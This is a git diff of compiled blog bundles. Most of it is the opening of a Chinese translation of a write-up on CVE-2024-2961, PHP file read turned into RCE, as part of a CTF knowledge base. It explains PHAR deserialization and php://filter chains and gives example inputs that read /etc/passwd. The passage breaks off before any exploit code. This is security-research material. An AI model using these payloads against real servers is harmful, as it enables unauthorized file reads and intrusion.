\u6765\u8865\u5145\u4f4d\u7f6e\u4fe1\u606f\uff0c\u4f46\u53ea\u662f\u6743\u5b9c\u4e4b\u8ba1\uff0c\u6ca1\u6709\u6539\u53d8\u5176\u7ed3\u6784\u4e0a\u7684\u56fa\u6709\u7f3a\u9677\u3002\u6700\u540e\uff0cAttention \u673a\u5236\u7684\u53c2\u6570\u91cf\u5e9e\u5927\uff0c\u8bad\u7ec3\u7684\u95e8\u69db\u4e0e\u6210\u672c\u4e5f\u6709\u4e86\u4e00\u5b9a\u63d0\u9ad8\u3002\u56e0\u6b64\uff0c\u6b63\u662f\u5728 Transformer \u63d0\u51fa\u4e4b\u540e\uff0c\u5982 BERT\u3001XLNet \u7b49\u57fa\u4e8e Transformer \u7ed3\u6784\u7684\u5f3a\u5927\u3001\u6602\u8d35\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u4e5f\u9010\u6b65\u767b\u4e0a\u65f6\u4ee3\u7684\u821e\u53f0\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"\u53c2\u8003\u6750\u6599",children:"\u53c2\u8003\u6750\u6599\uff1a"}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.a,{href:"https://arxiv.org/abs/1706.03762",children:"Attention Is All You Need"})}),"\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.a,{href:"https://lilianweng.github.io/posts/2018-06-24-attention/",children:"https://lilianweng.github.io/posts/2018-06-24-attention/"})}),"\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.a,{href:"https://zhuanlan.zhihu.com/p/48508221",children:"https://zhuanlan.zhihu.com/p/48508221"})}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,o.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(c,{...n})}):c(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>i,x:()=>a});var r=t(96540);const s={},o=r.createContext(s);function i(n){const e=r.useContext(o);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function a(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:i(n.components),r.createElement(o.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/assets/js/592afc05.28a4c81f.js b/assets/js/592afc05.28a4c81f.js new file mode 100644 index 0000000..e687f1d --- /dev/null +++ b/assets/js/592afc05.28a4c81f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5702],{28453:(e,n,c)=>{c.d(n,{R:()=>r,x:()=>l});var i=c(96540);const s={},d=i.createContext(s);function r(e){const n=i.useContext(d);return i.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),i.createElement(d.Provider,{value:n},e.children)}},88070:(e,n,c)=>{c.r(n),c.d(n,{assets:()=>o,contentTitle:()=>l,default:()=>x,frontMatter:()=>r,metadata:()=>i,toc:()=>h});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","title":"01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"KnownSec 2023\u5e74\u5ea6\u7b2c\u4e94\u6b21\u5185\u90e8\u653b\u9632\u6f14\u7ec3","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/Knownsec/knownsec-ctf-09/"},"next":{"title":"\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4"}}');var s=c(74848),d=c(28453);const r={},l="01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09",o={},h=[{value:"\u4ecb\u7ecd",id:"\u4ecb\u7ecd",level:2},{value:"\u53d1\u73b0\uff1a\u4e00\u4e2a\u5173\u4e8e\u8fc7\u6ee4\u5668\u7684\u6545\u4e8b",id:"\u53d1\u73b0\u4e00\u4e2a\u5173\u4e8e\u8fc7\u6ee4\u5668\u7684\u6545\u4e8b",level:2},{value:"PHP \u4e2d\u7684\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed",id:"php-\u4e2d\u7684\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed",level:3},{value:"PHP\u8fc7\u6ee4\u5668\u7b80\u4ecb",id:"php\u8fc7\u6ee4\u5668\u7b80\u4ecb",level:3},{value:"PHP \u8fc7\u6ee4\u5668\uff1a\u524d\u7f00\u3001\u540e\u7f00\u548c crash",id:"php-\u8fc7\u6ee4\u5668\u524d\u7f00\u540e\u7f00\u548c-crash",level:3},{value:"Glibc \u4e2d\u5b58\u5728\u4e00\u4e2a\u9519\u8befCVE-2024-2961",id:"glibc-\u4e2d\u5b58\u5728\u4e00\u4e2a\u9519\u8befcve-2024-2961",level:2},{value:"The <code>iconv()</code> API",id:"the-iconv-api",level:3},{value:"\u8f6c\u6362\u4e3a ISO-2022-CN-EXT \u65f6\u51fa\u754c\u5199\u5165",id:"\u8f6c\u6362\u4e3a-iso-2022-cn-ext-\u65f6\u51fa\u754c\u5199\u5165",level:3},{value:"\u6761\u4ef6\u548c\u539f\u59cb",id:"\u6761\u4ef6\u548c\u539f\u59cb",level:3},{value:"libxml2\uff1a\u5b57\u8282\u7684\u6d77\u6d0b",id:"libxml2\u5b57\u8282\u7684\u6d77\u6d0b",level:4},{value:"pkexec\uff1a4 \u4e2a\u5b57\u8282\u592a\u591a\u4e86",id:"pkexec4-\u4e2a\u5b57\u8282\u592a\u591a\u4e86",level:4},{value:"\u6761\u4ef6\u548c\u57fa\u5143\uff08\u5df2\u66f4\u65b0\uff09",id:"\u6761\u4ef6\u548c\u57fa\u5143\u5df2\u66f4\u65b0",level:4},{value:"\u5229\u7528PHP\u8fc7\u6ee4\u5668",id:"\u5229\u7528php\u8fc7\u6ee4\u5668",level:2},{value:"PHP\u5806\u7684\u5165\u95e8",id:"php\u5806\u7684\u5165\u95e8",level:3},{value:"PHP \u8fc7\u6ee4\u5668\u5185\u90e8",id:"php-\u8fc7\u6ee4\u5668\u5185\u90e8",level:3},{value:"\u60c5\u51b5\u548c\u76ee\u6807",id:"\u60c5\u51b5\u548c\u76ee\u6807",level:3},{value:"\u5f00\u53d1",id:"\u5f00\u53d1",level:3},{value:"\u5355\u6876",id:"\u5355\u6876",level:4},{value:"\u6b63\u786e\u62c6\u89e3",id:"\u6b63\u786e\u62c6\u89e3",level:4},{value:"\u514d\u8d39\u5217\u8868\u63a7\u5236\uff1a\u5199\u4ec0\u4e48\u5c31\u5199\u4ec0\u4e48",id:"\u514d\u8d39\u5217\u8868\u63a7\u5236\u5199\u4ec0\u4e48\u5c31\u5199\u4ec0\u4e48",level:4},{value:"\u4ee3\u7801\u6267\u884c",id:"\u4ee3\u7801\u6267\u884c",level:4},{value:"\u5229\u7528\u6027\u80fd",id:"\u5229\u7528\u6027\u80fd",level:4},{value:"\u6f14\u793a",id:"\u6f14\u793a",level:4},{value:"\u51b2\u51fb",id:"\u51b2\u51fb",level:2},{value:"\u6807\u51c6\u6c34\u69fd",id:"\u6807\u51c6\u6c34\u69fd",level:3},{value:"\u4f7f\u7528\u6f0f\u6d1e",id:"\u4f7f\u7528\u6f0f\u6d1e",level:3},{value:"SQL injection to RCE SQL \u6ce8\u5165\u5230 RCE",id:"sql-injection-to-rce-sql-\u6ce8\u5165\u5230-rce",level:4},{value:"XXE",id:"xxe",level:4},{value:"\u4f5c\u4e3a PHAR \u7684\u66ff\u4ee3\u54c1",id:"\u4f5c\u4e3a-phar-\u7684\u66ff\u4ee3\u54c1",level:3},{value:"\u89e3\u6790\u5e93",id:"\u89e3\u6790\u5e93",level:3},{value:"\u7c7b\u5b9e\u4f8b\u5316",id:"\u7c7b\u5b9e\u4f8b\u5316",level:3},{value:"\u4f5c\u4e3a\u5bf9\u5c0f\u5de5\u5177\u94fe\u7684\u6539\u8fdb",id:"\u4f5c\u4e3a\u5bf9\u5c0f\u5de5\u5177\u94fe\u7684\u6539\u8fdb",level:3},{value:"\u5176\u4ed6\u4eba\uff0c\u53ef\u80fd",id:"\u5176\u4ed6\u4eba\u53ef\u80fd",level:3},{value:"\u65f6\u95f4\u7ebf",id:"\u65f6\u95f4\u7ebf",level:2},{value:"\u7ed3\u8bba",id:"\u7ed3\u8bba",level:2},{value:"\u6f0f\u6d1e\u73af\u5883",id:"\u6f0f\u6d1e\u73af\u5883",level:2},{value:"\u6f0f\u6d1e\u590d\u73b0",id:"\u6f0f\u6d1e\u590d\u73b0",level:2}];function t(e){const n={a:"a",code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,d.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"01php\u5229\u7528gnu-c-iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210rcecve-2024-2961",children:"01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:52:29"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:27:21"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"php\u5229\u7528gnu-c-iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210rcecve-2024-2961",children:"PHP\u5229\u7528GNU C Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961"}),"\n",(0,s.jsx)(n.h2,{id:"\u4ecb\u7ecd",children:"\u4ecb\u7ecd"}),"\n",(0,s.jsx)(n.p,{children:"\u51e0\u4e2a\u6708\u524d\uff0c\u6211\u5076\u7136\u5728 glibc\uff08Linux \u7a0b\u5e8f\u7684\u57fa\u7840\u5e93\uff09\u4e2d\u53d1\u73b0\u4e86\u4e00\u4e2a\u5df2\u6709 24 \u5e74\u5386\u53f2\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\u3002\u5c3d\u7ba1\u53ef\u4ee5\u5728\u591a\u4e2a\u77e5\u540d\u5e93\u6216\u53ef\u6267\u884c\u6587\u4ef6\u4e2d\u8bbf\u95ee\uff0c\u4f46\u5b83\u88ab\u8bc1\u660e\u5f88\u5c11\u53ef\u5229\u7528\u2014\u2014\u867d\u7136\u5b83\u6ca1\u6709\u63d0\u4f9b\u592a\u591a\u7684\u56de\u65cb\u4f59\u5730\uff0c\u4f46\u5b83\u9700\u8981\u96be\u4ee5\u5b9e\u73b0\u7684\u5148\u51b3\u6761\u4ef6\u3002\u5bfb\u627e\u76ee\u6807\u4e3b\u8981\u4f1a\u5bfc\u81f4\u5931\u671b\u3002\u7136\u800c\uff0c\u5728PHP\u4e0a\uff0c\u8fd9\u4e2a\u9519\u8bef\u5927\u653e\u5f02\u5f69\uff0c\u5e76\u88ab\u8bc1\u660e\u5728\u4ee5\u4e24\u79cd\u4e0d\u540c\u7684\u65b9\u5f0f\u5229\u7528\u5176\u5f15\u64ce\u65b9\u9762\u5f88\u6709\u7528\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7531\u4e8e\u6750\u6599\u6570\u91cf\u4f17\u591a\uff0c\u8be5\u9519\u8bef\u7684\u5f71\u54cd\u548c\u5229\u7528\u5c06\u8bb0\u5f55\u5728\u7531\u4e09\u90e8\u5206\u7ec4\u6210\u7684\u7cfb\u5217\u4e2d\u3002\u5728\u672c\u7cfb\u5217\u7684\u7b2c\u4e00\u90e8\u5206\u4e2d\uff0c\u6211\u5c06\u63cf\u8ff0\u6211\u662f\u5982\u4f55\u9047\u5230\u8fd9\u4e2a\u9519\u8bef\u7684\uff0c\u4e3a\u4ec0\u4e48\u5408\u9002\u7684\u76ee\u6807\u5f88\u5c11\u89c1\uff0c\u6700\u540e\u6df1\u5165\u7814\u7a76 PHP \u5f15\u64ce\uff0c\u6f14\u793a\u4e00\u79cd\u65b0\u7684\u5229\u7528\u5411\u91cf\uff1a\u5728 PHP \u5e94\u7528\u7a0b\u5e8f\u4e2d\u5c06\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed\u8f6c\u6362\u4e3a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u5982\u679c\u60a8\u4e0d\u719f\u6089 Web \u5f00\u53d1\u3001PHP \u6216 PHP \u5f15\u64ce\uff0c\u8bf7\u4e0d\u8981\u4ecb\u610f\uff1a\u6211\u5c06\u5728\u6b64\u8fc7\u7a0b\u4e2d\u89e3\u91ca\u76f8\u5173\u6982\u5ff5\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"\u53d1\u73b0\u4e00\u4e2a\u5173\u4e8e\u8fc7\u6ee4\u5668\u7684\u6545\u4e8b",children:"\u53d1\u73b0\uff1a\u4e00\u4e2a\u5173\u4e8e\u8fc7\u6ee4\u5668\u7684\u6545\u4e8b"}),"\n",(0,s.jsx)(n.h3,{id:"php-\u4e2d\u7684\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed",children:"PHP \u4e2d\u7684\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed"}),"\n",(0,s.jsx)(n.p,{children:"\u8ba9\u6211\u4eec\u9996\u5148\u4ecb\u7ecd\u57fa\u7840\u77e5\u8bc6\u3002\u5047\u8bbe\u5728\u6267\u884c\u8bc4\u4f30\u65f6\uff0c\u53d1\u73b0\u4e00\u4e2a\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed\uff0c\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-php",children:"echo file_get_contents($_GET['file']);\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u4f60\u80fd\u7528\u5b83\u505a\u4ec0\u4e48\uff1f\u597d\u5427\uff0c\u663e\u7136\uff0c\u8bfb\u53d6\u6587\u4ef6\u3002\u4f8b\u5982\uff0c\u60a8\u53ef\u4ee5\u9605\u8bfb ",(0,s.jsx)(n.code,{children:"/etc/passwd"})," \u3002\u4f46\u662f PHP \u8fd8\u5141\u8bb8\u60a8\u4f7f\u7528\u5176\u4ed6\u534f\u8bae\uff0c\u4f8b\u5982 ",(0,s.jsx)(n.code,{children:"http://"})," \u6216 ",(0,s.jsx)(n.code,{children:"ftp://"})," .\u56e0\u6b64\uff0c\u60a8\u53ef\u4ee5\u8981\u6c42 PHP \u4e3a\u60a8\u83b7\u53d6 google \u7684\u9996\u9875\uff0c\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"http://google.com"})," ;\u6216\u4ece FTP \u670d\u52a1\u5668\u4e0b\u8f7d\u6587\u4ef6\uff0c\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"ftp://user:passwd@ftp.target.com/file.bin"})," .\u4f46\u8fd9\u8fd8\u4e0d\u662f\u5168\u90e8;PHP \u8fd8\u5b9e\u73b0\u4e86\u81ea\u5b9a\u4e49\u534f\u8bae\uff0c\u4f8b\u5982 ",(0,s.jsx)(n.code,{children:"phar://"})," ."]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"phar://"})," \u5141\u8bb8\u60a8\u5728 PHAR \u5b58\u6863\u4e2d\u8bfb\u53d6\u3002PHAR \u4ee3\u8868 PHP \u5b58\u6863\uff0c\u5c31\u50cf JAR \u4ee3\u8868 Java \u5b58\u6863\u4e00\u6837\u3002\u5b83\u662f\u4e00\u7ec4\u6587\u4ef6\uff0c\u4f8b\u5982\uff1a"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"Source code \u6e90\u4ee3\u7801"}),"\n",(0,s.jsx)(n.li,{children:"Resources \u8d44\u6e90"}),"\n",(0,s.jsx)(n.li,{children:"Serialized metadata \u5e8f\u5217\u5316\u5143\u6570\u636e"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u591a\u5e74\u6765\uff0c\u8be5\u534f\u8bae\u4e00\u76f4\u662fPHP\u7684\u57ae\u53f0\uff0c\u56e0\u4e3a\u5f53\u60a8\u4f7f\u7528\u5b83\u8bbf\u95eePHAR\u6587\u4ef6\u65f6\uff0c\u5176\u5143\u6570\u636e\u4f1a\u88ab\u53cd\u5e8f\u5217\u5316\u3002\u901a\u5e38\u7684 PHAR \u653b\u51fb\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u5c06 PHAR \u5b58\u6863\u4e0a\u4f20\u5230\u76ee\u6807\u670d\u52a1\u5668\uff08PHAR \u6587\u4ef6\u975e\u5e38\u591a\u8bed\u8a00\uff0c\u56e0\u6b64\u60a8\u53ef\u4ee5\u4f7f\u5b83\u4eec\u770b\u8d77\u6765\u50cf\u56fe\u50cf\u3001PDF \u6216\u4efb\u4f55\u4e1c\u897f\uff0c\u771f\u7684\uff09"}),"\n",(0,s.jsxs)(n.li,{children:["\u4f7f\u7528\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed\u8bbf\u95ee PHAR \u6587\u4ef6\uff0c\u5e76\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"phar:///path/to/file.phar/test"})]}),"\n",(0,s.jsx)(n.li,{children:"\u4efb\u610f\u6709\u6548\u8d1f\u8f7d\u88ab\u53cd\u5e8f\u5217\u5316"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u53ef\u4ee5\u901a\u8fc7\u591a\u79cd\u65b9\u5f0f\u5c06\u53cd\u5e8f\u5217\u5316\u8f6c\u6362\u4e3a\u4ee3\u7801\u6267\u884c\uff0c\u4f46\u4eba\u4eec\u901a\u5e38\u4f9d\u8d56\u4e8e PHP \u4e0a\u7684\u9996\u9009\u53cd\u5e8f\u5217\u5316\u5de5\u5177 PHPGGC\u3002"}),"\n",(0,s.jsx)(n.p,{children:"PHAR \u653b\u51fb\u7684\u5f71\u54cd\u600e\u4e48\u5f3a\u8c03\u90fd\u4e0d\u4e3a\u8fc7\u3002\u81ea 2018 \u5e74\u521b\u5efa\u4ee5\u6765\uff0c\u5b83\u4eec\u4e00\u76f4\u662f\u5728 PHP \u76ee\u6807\u4e0a\u83b7\u5f97\u5916\u58f3\u7684\u5173\u952e\u3002\u4f46\u6d3e\u5bf9\u5373\u5c06\u7ed3\u675f\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u4ece PHP 8.0\uff082020 \u5e74\u53d1\u5e03\uff09\u5f00\u59cb\uff0c ",(0,s.jsx)(n.code,{children:"phar://"})," \u4e0d\u518d\u53cd\u5e8f\u5217\u5316\u5143\u6570\u636e\u3002\uff08\u65e0\u8bba\u5982\u4f55\uff0c\u4ed6\u4eec\u90fd\u6ca1\u6709\u4f7f\u7528\u5143\u6570\u636e\uff0c\u6240\u4ee5\u4e3a\u4ec0\u4e48\u8981\u53cd\u5e8f\u5217\u5316\u5b83\uff09\u3002\u8fd9\u5c06\u5b8c\u5168\u6740\u6b7b PHAR \u653b\u51fb\u3002"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u5927\u578b\u5e94\u7528\u7a0b\u5e8f\uff08\u5982Drupal\u6216Magento\uff09\u4e00\u76f4\u5728\u7981\u7528\u8be5\u534f\u8bae ",(0,s.jsx)(n.code,{children:"phar://"})]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsx)(n.p,{children:"\u968f\u7740\u65f6\u95f4\u7684\u6d41\u901d\uff0c\u53cd\u5e8f\u5217\u5316\u5c06\u53d8\u5f97\u8d8a\u6765\u8d8a\u96be\u4ee5\u5229\u7528\uff1a\u56fe\u4e66\u9986\u6b63\u5728\u4fee\u8865\u5176\u53cd\u5e8f\u5217\u5316\u94fe\uff0c\u800c\u6253\u5b57\u6b63\u5728\u5377\u571f\u91cd\u6765\uff0c\u4ece\u800c\u5927\u5927\u51cf\u5c11\u4e86\u53cd\u5e8f\u5217\u5316\u8def\u5f84\u3002"}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u4f46 ",(0,s.jsx)(n.code,{children:"phar://"})," \u5e76\u4e0d\u662f\u552f\u4e00\u5bf9\u653b\u51fb\u8005\u6709\u7528\u7684\u534f\u8bae;\u53e6\u4e00\u4e2a\u4e5f\u4ea7\u751f\u4e86\u5f88\u597d\u7684\u7ed3\u679c\uff1a ",(0,s.jsx)(n.code,{children:"php://filter"})," ."]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"php\u8fc7\u6ee4\u5668\u7b80\u4ecb",children:"PHP\u8fc7\u6ee4\u5668\u7b80\u4ecb"}),"\n",(0,s.jsxs)(n.p,{children:["\u51e0\u5e74\u6765\uff0c\u4eba\u4eec\u5bf9\u53e6\u4e00\u79cd\u7279\u5b9a\u4e8e PHP \u7684\u534f\u8bae\u4ea7\u751f\u4e86\u5174\u8da3 ",(0,s.jsx)(n.code,{children:"php://filter"})," \uff08\u5982\u679c\u540d\u79f0\u4e0d\u660e\u663e\u7684\u8bdd\uff09\u3002\u5b83\u63d0\u4f9b\u4e86\u4e00\u79cd\u5728\u8fd4\u56de\u6d41\u4e4b\u524d\u5c06\u8f6c\u6362\u5e94\u7528\u4e8e\u6d41\u7684\u65b9\u6cd5\u3002\u8bed\u6cd5\u4e3a\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"php://filter/[filters...]/resource=[resource]\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8d44\u6e90\u53ef\u4ee5\u662f\u6211\u4eec\u5728\u4e0a\u4e00\u8282\u4e2d\u5df2\u7ecf\u8ba8\u8bba\u8fc7\u7684\u4efb\u4f55\u5185\u5bb9\uff1a\u4e00\u4e2a\u7b80\u5355\u7684\u6587\u4ef6\u3001\u4e00\u4e2a HTTP \u54cd\u5e94\u3001\u4e00\u4e2a\u6765\u81ea FTP \u670d\u52a1\u5668\u7684\u6587\u4ef6......\n\u7b5b\u9009\u5668\u662f\u60a8\u5e0c\u671b PHP \u5e94\u7528\u4e8e\u6d41\u7684\u8f6c\u6362\u5217\u8868\u3002\u5728\u8fd9\u91cc\uff0c\u6211\u4eec\u8981\u6c42 PHP \u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"convert.base64-encode"})," \u8fc7\u6ee4\u5668\u5c06\u8d44\u6e90\u7684\u5185\u5bb9\u8f6c\u6362\u4e3a base64\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"php://filter/convert.base64-encode/resource=/etc/passwd\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5b83\u8fd4\u56de\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYXNoCmJpbjp4OjE6MTpiaW46L2Jpbjovc2Jpbi9u\nb2xvZ2luCmRhZW1vbjp4OjI6MjpkYWVtb246L3NiaW46L3NiaW4vbm9sb2dpbgphZG06eDozOjQ6\n...\nYi92bnN0YXQ6L2Jpbi9mYWxzZQpyZWRpczp4OjEwMjoxMDM6cmVkaXM6L3Zhci9saWIvcmVkaXM6\nL2Jpbi9mYWxzZQo=\n\u60a8\u53ef\u4ee5\u6839\u636e\u9700\u8981\u6dfb\u52a0\u4efb\u610f\u6570\u91cf\u7684\u8fc7\u6ee4\u5668\u3002\u5728\u8fd9\u91cc\uff0c\u6211\u8981\u6c42 PHP \u5bf9\u6d41\u8fdb\u884c\u4e24\u6b21 base64 \u7f16\u7801\uff1a\n"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/passwd\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u5f97\u5230\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"Y205dmREcDRPakE2TURweWIyOTBPaTl5YjI5ME9pOWlhVzR2WVhOb0NtSnBianA0T2pFNk1UcGlh\n...\nRXdNam94TURNNmNtVmthWE02TDNaaGNpOXNhV0l2Y21Wa2FYTTZMMkpwYmk5bVlXeHpaUW89\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u663e\u7136\uff0cbase64 \u7f16\u7801\u5e76\u4e0d\u662f\u60a8\u552f\u4e00\u53ef\u4ee5\u505a\u7684\u4e8b\u60c5\u3002\u6709\u8bb8\u591a\u8fc7\u6ee4\u5668\u53ef\u7528\u3002\u5b83\u4eec\u5305\u62ec\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"string.upper"}),", which converts a string to uppercase\n",(0,s.jsx)(n.code,{children:"string.upper"})," \uff0c\u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5927\u5199"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"string.lower"}),", which converts a string to lowercase\n",(0,s.jsx)(n.code,{children:"string.lower"})," \uff0c\u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5c0f\u5199"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"string.rot13"}),", which does some BC crypto\n",(0,s.jsx)(n.code,{children:"string.rot13"})," \uff0c\u5b83\u505a\u4e86\u4e00\u4e9b BC \u52a0\u5bc6"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"convert.iconv.X.Y"}),", which converts charset from ",(0,s.jsx)(n.code,{children:"X"})," to 